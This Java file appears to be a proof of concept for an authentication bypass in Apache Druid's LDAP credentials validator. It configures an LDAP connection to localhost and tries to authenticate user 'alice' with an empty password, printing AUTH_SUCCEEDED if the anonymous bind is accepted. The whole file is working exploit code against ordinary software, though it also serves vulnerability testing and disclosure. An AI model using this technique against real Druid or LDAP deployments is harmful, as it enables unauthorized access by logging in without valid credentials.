import org.apache.druid.metadata.DefaultPasswordProvider;
import org.apache.druid.security.basic.BasicAuthLDAPConfig;
import org.apache.druid.security.basic.BasicAuthUtils;
import org.apache.druid.security.basic.authentication.validator.LDAPCredentialsValidator;
import org.apache.druid.server.security.AuthenticationResult;

public class LDAPAnonBindPoC {
  public static void main(String[] args) {
    BasicAuthLDAPConfig config = new BasicAuthLDAPConfig(
        "ldap://localhost:1389",
        "cn=admin,dc=example,dc=org",
        new DefaultPasswordProvider("admin"),
        "dc=example,dc=org",
        "(uid=%s)",
        "uid",
        BasicAuthUtils.DEFAULT_KEY_ITERATIONS,
        BasicAuthUtils.DEFAULT_CREDENTIAL_VERIFY_DURATION_SECONDS,
        BasicAuthUtils.DEFAULT_CREDENTIAL_MAX_DURATION_SECONDS,
        BasicAuthUtils.DEFAULT_CREDENTIAL_CACHE_SIZE
    );

    LDAPCredentialsValidator validator = new LDAPCredentialsValidator(
        config,
        new LDAPCredentialsValidator.LruBlockCache(3600, 3600, 100),
        null
    );

    try {
      AuthenticationResult result = validator.validateCredentials(
          "ldap",
          "ldap",
          "alice",
          "".toCharArray()
      );
      if (result == null) {
        System.err.println("AUTH_FAILED: result was null");
        System.exit(1);
      }
      System.out.println("AUTH_SUCCEEDED: " + result.getIdentity());
    } catch (Exception e) {
      System.err.println("AUTH_FAILED: " + e.getMessage());
      e.printStackTrace(System.err);
      System.exit(1);
    }
  }
}
